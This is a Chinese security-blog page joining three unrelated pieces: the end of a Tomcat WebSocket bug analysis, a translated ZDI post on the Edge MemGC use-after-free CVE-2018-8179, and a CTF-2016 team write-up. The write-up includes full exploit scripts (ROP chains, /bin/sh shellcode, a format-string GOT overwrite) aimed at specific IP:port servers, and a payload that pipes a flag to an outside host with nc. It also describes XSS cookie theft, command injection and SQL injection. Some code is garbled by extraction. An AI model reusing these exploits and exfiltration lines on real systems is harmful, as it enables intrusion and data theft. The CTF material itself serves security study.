"@fnmsd")师傅才发现，是因为`0xFF`是一个32位`int`型数据，当32位数据最高位为1时，这就是个负数，应该进行long的强制类型转换，也就是说，想要把payload
len变为负，不需要最高位置1，前32位置0，33位为1，也会成功触发攻击。
当跟踪其他对于`byte`的数据转换时发现，基本都在可能出现问题的地方进行了强制类型转换
### 影响
对于协议来说，当发送的Websocket数据长度在2**31 —
2**32-1之间时，如果是漏洞版本Tomcat，将会直接触发漏洞，修补版本，会抛异常，当数据长度大于2**32-1时，计算出的payload
len可能会小于真实长度，从而造成数据丢失。
### 参考
<https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/>
<https://cert.360.cn/warning/detail?id=c01c205c79fc1a9740f6ca9b133fb6f7> | 社区文章 |
原文链接：<https://www.zerodayinitiative.com/blog/2018/12/17/seeing-double-exploiting-a-blind-spot-in-memgc>
这是我们评选的2018年五大有趣案例的第一个。这些评选出来的bug都具有一些独特的元素，使得其与今年发布的大约1400条报告不同。我们首先来看Pwn2Own冠军的一个案例，以看似不可能的方式来攻击微软Edge浏览器。
在2018年Pwn2Own大会上，Richard
Zhu([fluorescence](https://twitter.com/rz_fluorescence))成功攻陷多个目标，获得了世界破解大师（[Master
of PWN](https://www.zerodayinitiative.com/blog/2018/3/15/pwn2own-2018-day-two-results-and-master-of-pwn)）的称号。他攻陷的目标之一是Microsoft Edge，使用的利用链包括两个Use-After-Free
(UAF)漏洞。其中一个UAF漏洞十分引人注目，以至于被列为我们今年的五大漏洞之一，将会在本系列博客中对此进行详细介绍。这个漏洞编号是[CVE-2018-8179](https://www.zerodayinitiative.com/advisories/ZDI-18-571/)
我们来深入研究这个漏洞的一些PoC代码，看看是什么让它如此惊人：
图片显示了poc代码和一些指示操作顺序的注释。主要操作是从步骤3中setRemoteCandidates的调用开始的，这个API需要传入一个JavaScript数组。如图中所示，在遍历该数组过程中出现了问题。在访问arr2[1]时，执行了getter方法(步骤4-5)，该脚本能够释放arr2[0]最初引用对象所使用的内存。然后脚本回收内存并用攻击者指定的数据覆写内存(步骤5)。当setremotecandidate继续执行并试图访问arr2[0]最初引用的对象时，就会发生崩溃。
为了实现这幅图中的内容，我们需要更多地了解setremotecandidate处理其参数时发生的事情，它做了如下操作：
1. 创建一个名为CModernArray<>的内部数组结构。
2. 遍历arr2。对于每个元素，获取一个指向该元素的指针，并将其添加到CModernArray<>中。
3. 迭代CModernArray<>，依次处理每个JavaScript对象。
CModernArray<>是在edgehtml.dll中定义的一个c++类。至关重要的是，它将数据存储在从MemGC堆分配的缓冲区中。概括总结下POC的操作：edgehtml.dll在arr2上迭代。在此过程中，它首先将arr2[0]复制到属于CModernArray<>的memgc控制的缓冲区，然后，当访问arr2[1]时，已经从arr2[0]复制的JavaScript对象将被释放并回收，但是CModernArray<>中仍然存在一个未清空的指针。当从CModernArray<>的索引0检索该指针时就会产生崩溃。
把所有这些信息汇总在一起后，我们现在可以理解这里存在一个漏洞是多么不可思议。在整个过程中，所有涉及的对象(JavaScript数组等)都被分配到MemGC堆上。此外，所有指向这些对象的指针都存储在memgc分配的数组和缓冲区中。那么，UAF是如何产生的呢?这类UAF正是MemGC所应该预防的。MemGC被设计成能够识别MemGC堆中当前存在的所有指针，这样当指针仍然存在时，就不能释放MemGC分配的内存。在MemGC堆分配中，MemGC应该是无所不知、无所不见的。那么，为什么MemGC没有检测到CModernArray<>中存在一个未清空指针这一事实呢？
为什么会这样呢？
我现在要告诉你一个可怕的秘密。
并没有这样一个无所不知的“MemGC堆”
实际上有两个MemGC堆，它们对彼此的分配是不可见的。
这两个MemGC堆如下所示，其中一个MemGC堆会在浏览器的JavaScript引擎Chakra中内部使用，所有基于堆的JavaScript对象以及许多内部Chakra数据结构都存储在这个堆上，我们称之为“Chakra堆”。另一个MemGC堆是由chakra.dll提供给外部使用者使用的，尤其是给edgehtml.dll用。我们将其称为“DOM堆”，它取代了前一代的，由Internet
Explorer在2014年7月首次引入的内存保护机制。DOM堆用于所有DOM对象，以及从edgehtml.dll执行的大多数其他堆分配。
这两个堆共享一个实现，但是它们由chakra!Memory::Recycler类的两个不同实例表示。当垃圾回收发生时，在“标记”阶段，回收程序会扫描所有存活的堆分配，以及堆栈和处理器寄存器，寻找指向其他堆分配的指针，以便也可以将这些指针标记为活动的。由于并不是内存中的每个值都是真正的指针值，所以这次扫描会得到一些无关的结果。为了过滤掉这些无关结果，Recycler将自动拒绝属于堆分配范围之外的任何值。但是这种决定只是基于某个堆的，一个Recycler实例并不知道其他Recycler实例可能正在使用的地址区域。此外，它不能在属于其他Recycler实例的MemGC分配上放置“标记”。
顺便提一下，甚至有存在两个以上的MemGC堆。JavaScript执行的每个线程都有自己的Chakra堆实例。通常这不会造成问题，因为JavaScript对象不会与创建它的线程以外的任何线程上的代码交互。
现在我们可以理解在运行图中poc代码时发生了什么，在步骤5(见图)中，内存压力迫使Chakra堆进行垃圾收集。这是由与Chakra堆相关的Recycler实例执行的。在扫描堆栈时，recycler会遇到指向CModernArray<>缓冲区的指针，然而，它会立即筛选掉这个指针，因为CModernArray<>缓冲区已经分配到DOM堆上，而不是Chakra堆上。因此，Chakra堆的Recycler从不扫描CModernArray<>缓冲区的内容，导致它会筛掉其中所包含的指向Chakra堆分配内存的未清空指针。
## 总结
我们已经证明，“MemGC是无所不知的”这种概念是一种误解。虽然MemGC作为一种缓解措施非常成功，但它并非完全没有缺点。
这对于考虑如何打[补丁](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8179)也是有指导意义的.现在，在将每个对象添加到CModernArray<>之前，edgehtml调用chakra::JsVarAddRef来显式地将对象固定在内存中。至于edgehtml!ORTC::UnpackArrayObjectVar这种情况，MemGC陷入了困境，edgehtml中的代码必须求助于手动对象生命周期管理。
你可以关注我的Twitter[@HexKitchen](https://twitter.com/HexKitchen),或者关注我们的[团队](https://twitter.com/thezdi)以了解最新的漏洞利用技术和安全补丁。请继续关注下一个年度五大漏洞相关博客，它将于明天发布。 | 社区文章 |
# FlappyPig CCTF-2016 WriteUp
|
##### 译文声明
本文是翻译文章，文章来源：FlappyPig
译文仅供参考，具体内容表达以及含义原文为准。
作者：FlappyPig
Misc
签到
源码。
Misc1
Misc2
EZ Game Misc
在数据包中发现了大量smb流量,目测为smb的某洞,先找到getshell的流,流里面的好东西不少,这里不做赘述:
把这几个和每个前后的steam看下,一共就几个找到:
Base64解码得到flag。
猜CVE编号(补丁编号),其实我第一次试的就是08067(都不用看流第一个想到的就是这个吧==)。
True or False Misc
Down下来丢到Winhex里看一下,
尝试加了各种压缩文件头都不行,后来主办方出了提示说bz2,把头改成42 5a 68 39 之后可以正常解压,发现true 和 false
两个bin文件,直接运行的话会弹一个误导提示。
丢给二进制队友,静态调试在true中print_f中发现关键点,最终得到Flag
Best_Easy_Misc
这个题有些蛋疼.. 下载下来之后OS X直接解压了,跳过了不少坑.丢到Winhex里
最开始以为是摩尔斯密码,解了几下发现不对,队友说可能是培根密码,统计了一下有1024个字节,把—换成A 把 . 换成B
,感觉像是二维码的样子,变以32X32排列。(其实最后没看清我用别的符号替代了)
这时候发现有些东西藏在里面,就把每个点扩大了3倍,再缩小视图,拿PS勾图,得到Flag。
Forensic
神秘的文件1
这题一开始完全没思路,不知道level1是什么,file了一下:
去搜了一圈发现这个是windows的vhd格式,于是把他附加到电脑上:
发现分区被bitlocker保护了,但是不知道密码,后来发现了一个软件Passware Kit
Forensic可以破解Bitlocker密码,这时候知道给的mem.vmem内存dump文件怎么用了,加载进来破解:
跑了一会就出来恢复密钥了:
然后,直接输入恢复密钥就能打开磁盘获得level1的flag:
神秘的文件2
不出意外的话这题应该是搞level1里面获得的level2文件,本来一直没思路,后来看了提示可以用取证神器volatility,所以就下了一个,看了一圈发现内存里对level2的描述比较奇怪:
Volatility看了一下屏幕截图:
感觉是用TrueCrypt加密了某些东西?那么用truecryptsummary看一下内存dump:
这里看到truecryptsummary的结果显示level2是一个挂载在H盘的一个TrueCrypt
container,那么密码是多少呢?用truecryptmaster看了一下,的确找到了master key。
感觉应该是正确思路?
用这个masterkey解密level2就行了?
然后在这里被坑了很久,一直都没头绪,他说加密算法是CAST,但是这个非常老旧已经被弃用的算法啊。。我从github上down下来truecrypt的源码,自己写了一个CAST解密程序,可是解密出来完全不对啊,于是默默的被坑了很久后来看到了提示:
搞了半天level2密码不在内存了。我也是醉了。可是密码在其他地方,到底在哪里呢?一点思路都没有?
最后。最后我还是搞定了。我应该是唯一一个做出来的,紫鹏大神你要请我吃饭。最后我把题目描述页面上所有可见字符串都当密码试过了。最后的密码是purpleroc,紫鹏大神,给你跪下了。得到flag:
、
Bin
Re1
md5_custom函数啥都没干,所以Flag为CCTF{f2332291a6e1e6154f3cf4ad8b7504d8}。
Re2
C#混淆,用de4dot解混淆。发现将flag发送到端口31337,所以开个端口接收一下。
Re3
输入:numbers:789101112131415123456可以打印出: oh mon dieu t'as reussi bravo ! mdp est
concatene ordre est 4 2 3 1,所以flag为 CCTF{789101112131415123456}。
2048?4096?
2048游戏,玩死了之后会将 score-turn-time 发送到固定服务器,然后服务器发回do not cheat!
不知道服务器怎么check的,试了分最大的情况也不行。
根据提示3,知道需要求分最小的情况。
分最小情况如下:
2 4 2 4
4 2 4 2
2 4 2 4
4 2 4 2
得分为16,turn为(所有数之和-4)/2=20,然后时间最开始写10s发现不行,试了下100s,得到了flag。
difffffffffffuse
输入40字节,经过几千轮变换,然后与固定40字节比较。
发现每轮变换都是单字节操作,所以可以一个个字节去爆破。
用gdb脚本在strcmp处下断点记录不同字符串变换后的结果。然后逐个去匹配。得到flag为CCTF{1f_Y0u_W4nNa_R3vEn93_____purpleroc}
import os
for i in range(1, 0x100):
print i
f = open('abc.txt', 'wb')
f.write(chr(i)*40)
f.close()
command = 'gdb ./difuse -x difuse.py'
os.popen(command)
os.popen('cp ./out.txt ./result'+str(i)+'.txt')
dict ={}
for i in range(1, 0x100):
f = open('./result'+str(i)+'.txt', 'rb')
dict[i] = f.read()
f.close()
f = open('./biaozhun','rb')
biaozhun = f.read()
f.close()
result = ''
for i in range(len(biaozhun)):
for j in range(1, 0x100):
if dict[j][i] == biaozhun[i]:
result += chr(j)
print i
break
print result
---
Simple pwn
代码逻辑非常简单,如下:
返回之前,把三个地址解析的int值,分别放在栈顶和作为返回地址,如下:
由于读取东西后,直接将socket从标准输入输出关闭了,所以没法直接再次读取东西,所以泄露和改写没法同时进行,在次,利用两次,第一次泄露,第二次直接改写,由于32位的程序,空间有限,可以撞上。利用代码如下:
__author__ = "pxx"
from zio import *
from pwn import *
target = "./pwn1"
target = ("115.28.241.138", 9000)
#target = ("127.0.0.1", 2333)
elf_path = "./pwn1"
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def get_elf_info(elf_path):
return ELF(elf_path)
def leak_addr(io):
#sample
main_addr = 0x0804852D
main_addr = 0x08048566
leave_ret = 0x08048498
p_ebp_ret = 0x0804866a
ppp_ret = 0x08048668
pppp_ret = 0x08048667
read_got = 0x0804a00c
read_plt = 0x080483b0
write_plt = 0x080483f0
atoi_got = 0x0804a024
setvbuf_plt = 0x08048400
stdout_got = 0x0804A040
io.read_until("welcome to cctfn")
#io.gdb_hint()
buffer_addr = 0x0804A060
rop_addr = buffer_addr + 30
ebp = rop_addr
v_1111 = str(leave_ret)
v_2222 = str(ebp)
v_3333 = str(p_ebp_ret)
#v_3333 = str(main_addr)
rop_chain = ""
rop_chain += l32(0x01010101)
rop_chain += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4)
rop_chain += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(buffer_addr + 0x800)
+ l32(0x100)
rop_chain += l32(p_ebp_ret) + l32(buffer_addr + 0x800) + l32(leave_ret)
payload = ""
payload += v_1111 + "." + v_2222 + "." + v_3333 + "."
payload = payload.ljust(30, 'a')
payload += rop_chain
io.writeline(payload)
#io.interact()
#return
rop_chain = ""
rop_chain += l32(0x01010101)
#rop_chain += l32(setvbuf_plt) + l32(pppp_ret) + l32(stdout_got) + l32(0) +
l32(2) + l32(0)
#rop_chain += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4)
rop_chain += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(read_got) + l32(12)
rop_chain += l32(read_plt) + l32(ppp_ret) + l32(read_got + 4)
payload = ""
payload += rop_chain
io.writeline(payload)
#io.interact()
data = io.read(4)
print [c for c in data]
read_addr = l32(data)
print "read_addr:", hex(read_addr)
#local
offset_system = 0x0003e800
offset_read = 0x000da8d0
offset_str_bin_sh = 0x15f9e4
#remote
"""
offset_read = 0x000dabd0
offset_system = 0x00040190
offset_str_bin_sh = 0x160a24
"""
#offset_read = int(raw_input("offset_read = "), 16)
#offset_system = int(raw_input("offset_system = "), 16)
libc_base = read_addr – offset_read
system_addr = libc_base + offset_system
bin_sh_addr = libc_base + offset_str_bin_sh
print "system_addr:", hex(system_addr)
print "bin_sh_addr:", hex(bin_sh_addr)
io.writeline(l32(system_addr) + "/bin/sh;")
io.interact()
import struct
def to_int(val):
return struct.unpack("i", struct.pack("I", val))[0]
def pwn(io):
#sample
main_addr = 0x0804852D
main_addr = 0x08048566
leave_ret = 0x08048498
p_ebp_ret = 0x0804866a
ppp_ret = 0x08048668
pppp_ret = 0x08048667
read_got = 0x0804a00c
read_plt = 0x080483b0
write_plt = 0x080483f0
atoi_got = 0x0804a024
setvbuf_plt = 0x08048400
stdout_got = 0x0804A040
io.read_until("welcome to cctfn")
#io.gdb_hint()
buffer_addr = 0x0804A060
rop_addr = buffer_addr + 40
ebp = rop_addr
v_1111 = str(leave_ret)
v_2222 = str(ebp)
v_3333 = str(p_ebp_ret)
#v_3333 = str(main_addr)
#local
real_read_addr = 0xf76e18d0
system_addr = 0xf7645800
bin_sh_addr = 0xf77669e4
#remote
#"""
real_read_addr = 0xb76babd0
system_addr = 0xb7620190
bin_sh_addr = 0xb7740a24
#"""
#print to_int(bin_sh_addr)
#print to_int(system_addr)
v_2222 = str(to_int(buffer_addr+40))
v_3333 = str(to_int(system_addr))
v_1111 = v_2222
rop_chain = ""
rop_chain += l32(0x01010101)
rop_chain += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4)
rop_chain += l32(system_addr) + l32(bin_sh_addr)
rop_chain += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(buffer_addr + 0x800)
+ l32(0x100)
rop_chain += l32(p_ebp_ret) + l32(buffer_addr + 0x800) + l32(leave_ret)
payload = ""
payload += v_1111 + "." + v_2222 + "." + v_3333 + "."
payload = payload.ljust(40, 'a')
payload += "cat flag | nc 120.27.114.63 8888;"
payload += rop_chain
io.writeline(payload)
#io.interact()
io.writeline("id")
data = io.read_until("n")
print data
if len(data) < 3:
io.close()
return
print "get it"
#io.interact()
data = io.read(4)
print [c for c in data]
read_addr = l32(data)
print "read_addr:", hex(read_addr)
if read_addr == real_read_addr:
print "get it"
raw_input(":")
#io.interact()
else:
io.close()
return
#io.interact()
#return
rop_chain = ""
rop_chain += l32(0x01010101)
#rop_chain += l32(setvbuf_plt) + l32(pppp_ret) + l32(stdout_got) + l32(0) +
l32(2) + l32(0)
#rop_chain += l32(write_plt) + l32(ppp_ret) + l32(1) + l32(read_got) + l32(4)
rop_chain += l32(read_plt) + l32(ppp_ret) + l32(0) + l32(read_got) + l32(12)
rop_chain += l32(read_plt) + l32(ppp_ret) + l32(read_got + 4)
payload = ""
payload += rop_chain
io.writeline(payload)
#io.interact()
#local
offset_system = 0x0003e800
offset_read = 0x000da8d0
offset_str_bin_sh = 0x15f9e4
#remote
"""
offset_read = 0x000dabd0
offset_system = 0x00040190
offset_str_bin_sh = 0x160a24
"""
#offset_read = int(raw_input("offset_read = "), 16)
#offset_system = int(raw_input("offset_system = "), 16)
libc_base = read_addr – offset_read
system_addr = libc_base + offset_system
bin_sh_addr = libc_base + offset_str_bin_sh
print "system_addr:", hex(system_addr)
print "bin_sh_addr:", hex(bin_sh_addr)
io.writeline(l32(system_addr) + "/bin/sh;")
io.interact()
"""
io = get_io(target)
leak_addr(io)
exit(0)
"""
while True:
try:
io = get_io(target)
pwn(io)
except Exception, e:
#raise e
Pass
接收flag,成功截图:
新大陆
代码逻辑非常简单,如下:
直接读取数据到尾部,然后将5字节拷贝至最前面,然后跳过去。
由于在call eax前后,栈只会压人一个返回地址eip,如下:
所以栈相对于main函数只会偏移四个字节,如果直接返回到如下截图处,此时eax值也为map出来的地址,那么就可以往buff的最前面写入数据,但是由于栈有偏移,此时应该利用这5字节代码做这些事情,调整栈,跳转到如下位置:
由于call eax压人的返回地址与上述位置相差的就是一个字节,所以做起来相对比较容易,利用代码如下:
__author__ = "pxx"
from zio import *
from pwn import *
target = "./pwn2"
elf_path = "./pwn2"
target = ("120.27.130.77", 9000)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def get_elf_info(elf_path):
return ELF(elf_path)
def pwn(io):
#sample
elf_info = get_elf_info(elf_path)
context(arch = elf_info.arch, os = 'linux')
addr = 0x080484CF
code = "jmp 0x%x"%addr
#eip_addr = 0x080484F7
#elf_info.asm(eip_addr, code)
#data = elf_info.disasm(eip_addr, 10)
#print data
eip_addr = 0x31337000
offset = (0x80484cf – eip_addr – 5) & 0xffffffff
print hex(offset)
diff = 0x80484f9 – 0x080484Cf
code = ""
code += asm("pop ebx") #1
code += asm('mov bl, 0xcf') #2
#code += asm("push ebx") #1
code += asm("jmp ebx") #2
print diff
print len(asm("pop ebx"))
print len(asm('mov bl, 0xcf'))
print len(asm("jmp ebx"))
print len(code)
#code = "P" + "xe9" + l32(offset)
io.gdb_hint()
io.writeline(code)
shellcode =
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc2xb0x0bx31xc9xcdx80"
asm_str = """
0: 31 c0 xor eax,eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx,esp
f: 89 c2 mov edx,eax
11: b0 0b mov al,0xb
13: 31 c9 xor ecx,ecx
15: cd 80 int 0x80
"""
print disasm(shellcode)
code = ""
code += shellcode
code = code.ljust(4090, 'a')
code += shellcode[:5]
io.writeline(code)
io.interact()
io = get_io(target)
pwn(io)
成功截图:
Ftp_server
这道题应该是三个pwn中最简单的一道,就是个简单的格式化字符串,漏洞处如下:
格式化在栈上,利用代码如下:
__author__ = "pxx"
from zio import *
from pwn import *
target = "./pwn3"
elf_path = "./pwn3"
target = ("120.27.155.82", 9000)
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def get_elf_info(elf_path):
return ELF(elf_path)
def put_file(io, name, content):
io.read_until("ftp>")
io.writeline("put")
io.read_until(":")
io.writeline(name)
io.read_until(":")
io.writeline(content)
def dir_file(io):
io.read_until("ftp>")
io.writeline("dir")
def get_file(io, name):
io.read_until("ftp>")
io.writeline("get")
io.read_until(":")
io.writeline(name)
def pwn(io):
#sample
#elf_info = get_elf_info(elf_path)
name = "sysbdmin"
io.read_until("Name (ftp.hacker.server:Rainism):")
io.writeline()
real_name = [chr(ord(c)-1) for c in name]
real_name = "".join(real_name)
io.writeline(real_name)
malloc_got = 0x0804a024
puts_got = 0x0804a028
name = "aaaa"
#content = "AAAA" + "B"*4 + "C"*4 + "%7$x."
content = l32(malloc_got) + "%7$s…."
put_file(io, name, content)
get_file(io, name)
data = io.read_until("….")
print [c for c in data]
malloc_addr = l32(data[4:8])
print "malloc_addr:", hex(malloc_addr)
#local
offset_malloc = 0x00076550
offset_system = 0x0003e800
#remote
offset_malloc = 0x000766b0
offset_system = 0x00040190
libc_base = malloc_addr – offset_malloc
system_addr = libc_base + offset_system
print "system_addr:", hex(system_addr)
addr_info = ""
padding_info = ""
system_addr_buff = l32(system_addr)
offset = 4*4
begin_index = 7
for i in range(4):
addr_info += l32(puts_got + i)
val = ord(system_addr_buff[i])
count = val – offset
if count <= 0:
count += 0x100
padding_info += "%%%dc"%count + "%%%d$hhn"%(begin_index + i)
offset = val
name = "/bin/sh;"
content = addr_info + padding_info
put_file(io, name, content)
io.gdb_hint()
get_file(io, name)
dir_file(io)
io.interact()
pass
io = get_io(target)
pwn(io)
成功截图:
AAAApk
Apk主要调用libverify.so中的sub_c9c进行check,但是这部分代码开始是被加过密的,所以首先需要简单解下密,解密部分在init中,如下:
解密完后,发现其实sub_c9c就是一个简单的异或处理,如下:
对输入进行base64解密后,与某个处理的串进行对比,正确就输出flag,此时都无需考虑输入,直接根据该串进行解密即可得到flag,其中解密代码和获取flag的代码如下:
__author__ = "pxx"
def decode_file():
file_r = open("libverify.so", "rb")
content = file_r.read()
file_r.close()
info = []
begin_pos = 0xC9D & 0xFFFFFFFE
for i in range(352):
info.append(chr((~ord(content[begin_pos+i]))&0xff))
print "".join(info)
file_w = open("libverify-decode.so", "wb")
content_new = content[:begin_pos] + "".join(info) +
content[begin_pos+len(info):]
file_w.write(content_new)
file_r.close()
def parse_something():
byte_4004 = [0x77, 8, 0x69, 0x4C, 0x7C, 0x6D, 0x4A, 0x7D, 0x66, 0x78, 0x62,
0x16, 0, 0, 0, 0]
byte_23f0 = [0xDE, 0xBF, 0xDC, 0xDB, 0xDA, 0xA1, 0xD9, 0xD5, 0xD7, 0xD6, 0xA0,
0xD4, 0]
for i in range(12):
byte_4004[i] ^= ((~byte_23f0[i])&0xff)
print byte_4004
print "".join([chr(c) for c in byte_4004])
byte_23FD = [0xC, 0x4B, 0x38, 0x19, 0x2C, 0x39, 0x15, 0x4D, 0x3E, 0x3E, 0x23,
0x6B, 0]
byte_23F0 = [0xDE, 0xBF, 0xDC, 0xDB, 0xDA, 0xA1, 0xD9, 0xD5, 0xD7, 0xD6, 0xA0,
0xD4, 0]
out_info = [ord(c) for c in "CCTF"]
for i in range(12):
out_info.append(byte_23FD[i] ^ byte_4004[i] ^ ((~byte_23f0[i])&0xff))
print "".join([chr(c) for c in out_info])
parse_something()
成功截图:
Help FBI
Bin中这道题有点麻烦,控制流混淆+字符串加密+反调试+静态编译+arm。所以看起来比较费力。由于比较繁琐,细节部分就不赘述了。
1.定位字符串解密函数为0x9b00函数
在关键位置打印log,获取控制流程。
最终得到解密函数实现如下,并将文件中的几个字符串处进行解密:
__author__ = "pxx"
def strlen(info):
index = 0
for item in info:
if item == 0:
return index
else:
index += 1
return index
def sub_a0d0(v1, v2):
#2, 12, 2
#3, 12, 3
return v1 % v2
def decode_9B00(info):
byte_1a022 = [0x98, 0x91, 0xCE, 0xB4, 0x8C, 0xBF, 0x92, 0xCF, 0x97, 0xAB,
0x86, 0xBD]
v14 = []
index = 0
byte_1a022_len = strlen(byte_1a022)
while index < byte_1a022_len:
v6 = byte_1a022[byte_1a022_len – index – 1]
v14.append(((~v6)&0x3f | v6 &0xc0) ^ 0xc0)
index += 1
v14.append(0)
index = 0
v11 = strlen(v14)
info_len = strlen(info)
v13 = []
while index < info_len:
v12 = sub_a0d0(index, v11)
v13.append(v14[v12] & (~info[index] & 0xff) | info[index] & (~v14[v12] &
0xff))
index += 1
v13 = "".join([chr(c) for c in v13])
print v13
return v13
#info = [0xB, 0x17, 0x27, 0xD, 0x42, 0x19, 0x60, 0x12, 0x25, 0x11, 7, 0x37,
0x2A, 0x16, 0x3A, 0xD, 0x63, 0x28, 0x60, 7, 0x24, 0x11, 0x1D, 0x13, 0x23, 0xB,
0x20, 0x49, 0]
#decode_9B00(info)
file_r = open("fbi", "rb")
content = file_r.read()
file_r.close()
def decode_pos(content, begin_pos):
cur_pos = begin_pos
info = []
while True:
if content[cur_pos] == "x00":
break;
info.append(ord(content[cur_pos]))
cur_pos += 1
info = decode_9B00(info)
return content[:begin_pos] + info + content[begin_pos + len(info):]
content = decode_pos(content, 0x11095) #Insert an iPhoneSE to start!
content = decode_pos(content, 0x11063) #Are you kidding me???
content = decode_pos(content, 0x110B2) #Connection is ok, Input your paSScode:
content = decode_pos(content, 0x1100D) #Try again
content = decode_pos(content, 0x11079) #Congratulation! Have a rest
content = decode_pos(content, 0x11000) #%s
content = decode_pos(content, 0x1102f) #/proc/%d/status
content = decode_pos(content, 0x11004) #iPhoneSE
content = decode_pos(content, 0x1103f) #ro.product.model
content = decode_pos(content, 0x11050) #/system/build.prop
content = decode_pos(content, 0x11017) #TracerPid:
decode_pos(content, 0xf198)
decode_pos(content, 0x10ff7)
#file_w = open("fbi-decode", "wb")
#file_w.write(content)
#file_w.close()
2.由于在运行是提示要insert iPhoneSE….才能继续下去,而且在后面直接跟个别的参数运行,直接输出are you kidding
me字符串。肯定因为输入的东西不匹配,于是在代码中找到对应位置,如下:
这里的v101必须要为0后面,才能起到作用,于是将函数sub_16f00给nop掉,并将r0的值赋值为0
3.成功后,会提示要输入passcode,根据附近的函数,猜测各个静态编译函数功能,代码如下:
4.然后进入主要的check过程。首先将一张大表进行初始化赋值,后续会按照这张表进行字符的置换,通过打印控制流的log信息,发现主要逻辑部分如下:
pos10
loop1:
pos7
pos5
pos1
goto loop1
pos7
pos5
pos7
pos4
loop2:
pos9
pos6
pos2
goto loop2
pos9
还原出逻辑代码如下:
def init_cryptto_table_96f0(v13, len_in):
index = 0
v13 = []
v8_table = [0x98, 0x91, 0xCE, 0xB4, 0x8C, 0xBF, 0x92, 0xCF, 0x97, 0xAB, 0x86,
0xBD]
while index < 256:
v13.append(index)
index += 1
v11 = 0
index = 0
index_i = 0
while True:
v14 = v13[index]
v4 = v8_table[index_i] – (-v11 – v14)
v11 = (v4 ^ 0xffffff00) & v4
#print index, v11
v13[index] = v13[v11]
v13[v11] = v14
index_i += 1
index += 1
if index_i >= len_in:
index_i = 0
if index >= 256:
break
#print [hex(c) for c in v13]
#raw_input(":")
return v13
5.逆向置换对比的部分与前面类似,也是根据控制流信息,还原代码如下:
def check_input(tmp_table, input_val):
index = 0
v25 = tmp_table[0]
v26 = tmp_table[1]
result_list = []
while index < len(input_val):
v25 = (v25 + 1) & 0xff
v29 = tmp_table[v25 + 2]
v26 = (v29 + v26) & 0xff
v30 = tmp_table[v26 + 2]
tmp_table[v25 + 2] = v30
tmp_table[v26 + 2] = v29
v31 = tmp_table[((-(-v29 – v30) ^ 0x3FFFFF00) & -(-v29 – v30)) + 2]
print index, "->", v31
result_list.append(v31)
v4 = (~input_val[index] & 0x8AA99332 | ((input_val[index] & 0xCD)&0xff)) ^
(~v31 & 0x32 | ((v31 & 0xCD)&0xff));
input_val[index] = v4
index += 1
tmp_table[0] = v25
tmp_table[1] = v26
#compare input_val with result_table
6.根据还原出来的代码逻辑发现, tmp_table的变化与输入没关系,只是自身的变化,所以可以根据结果来推算输入,代码如下:
target_list = [0x42, 0x10, 1, 0xFD, 0x52, 0xBC, 0x5C, 0x61, 0x1D, 0x76, 2,
0xA7, 0x52, 0x77, 0x52, 0x5E]
def decode_input_real(tmp_table, target_list):
index = 0
v25 = tmp_table[0]
v26 = tmp_table[1]
out_info = []
result_list = []
while index < len(target_list):
v25 = (v25 + 1) & 0xff
v29 = tmp_table[v25 + 2]
v26 = (v29 + v26) & 0xff
v30 = tmp_table[v26 + 2]
tmp_table[v25 + 2] = v30
tmp_table[v26 + 2] = v29
v31 = tmp_table[((-(-v29 – v30) ^ 0x3FFFFF00) & -(-v29 – v30)) + 2]
#print index, "->", v31
#result_list.append(v31)
mid_val = target_list[index] ^ (~v31 & 0x32 | ((v31 & 0xCD)&0xff))
print "index:", index
print "mid_val:", mid_val
for val in range(256):
#print ((~val & 0x8AA99332 | ((val & 0xCD)))&0xff)
if ((~val & 0x8AA99332 | ((val & 0xCD)))&0xff) == mid_val:
print "—–:", chr(val)
out_info.append(chr(val))
#v4 = (~input_val[index] & 0x8AA99332 | ((input_val[index] & 0xCD)&0xff)) ^
(~v31 & 0x32 | ((v31 & 0xCD)&0xff));
#input_val[index] = v4
index += 1
tmp_table[0] = v25
tmp_table[1] = v26
return out_info
byte_table = init_cryptto_table_96f0([], 12)
tmp_table = [0]*2 + byte_table
out_info = decode_input_real(tmp_table, target_list)
print out_info
print "".join(out_info)
成功截图如下:
验证如下:
Web
萝莉俱乐部-2
访问[www.loli.club](http://www.loli.xn--club-o84fui79bqa107exte7s3ejzqmgzea108az6tz30g/) 查看源代码可以看到一个邮箱:
在gayhub里搜这个邮箱可以找到源码:
点进去可以看到真实的blog地址。
把[https://github.com/PockyNya/pyprint](https://github.com/PockyNya/pyprint)
clone到本地,审计代码。
可以发现在AddPostHandler的post方法可以越权添加文章。
本地搭建测试一下,可以成功。
相同的数据包,发送到pocky.loli.club即可添加含有xss代码的文章。
然后访问[http://pocky.loli.club:41293/posts/clickme](http://pocky.loli.club:41293/posts/clickme)
测试成功。
根据提示,将这个url发到[email protected]。
在xss平台就能接收到了。
将得到的flag从16进制转ascii即可看到明文:
萝莉俱乐部-1
从blog代码里还能看到有一个"日记"路径,访问可以看到:
点进去发现是403,查看代码发现:
如果服务器没有收到一个叫username的secure_cookie,则需要使用密码来访问这个页面.所以带着刚才xss打到的cookie访问即可看到内容:
可以看到一段lua代码,分析代码之后发现应该是通过telegram 进行控制,需要找命令执行的漏洞,代码中没有过虑分号,所以可以用分号进行命令注入。
注册一个telegram账号,根据提示与@PockyNyan建立会话,根据上面lua代码分析出来的规则,发送构造好的指令,即可得到flag:
萝莉俱乐部-3
扫描loli.club的子域名可以发现:
存在一个ns.loli.club,根据提示"用python和mysql开发的"猜测会有sqli漏洞:
测试发现确实存在,写一个中转脚本方便测试:
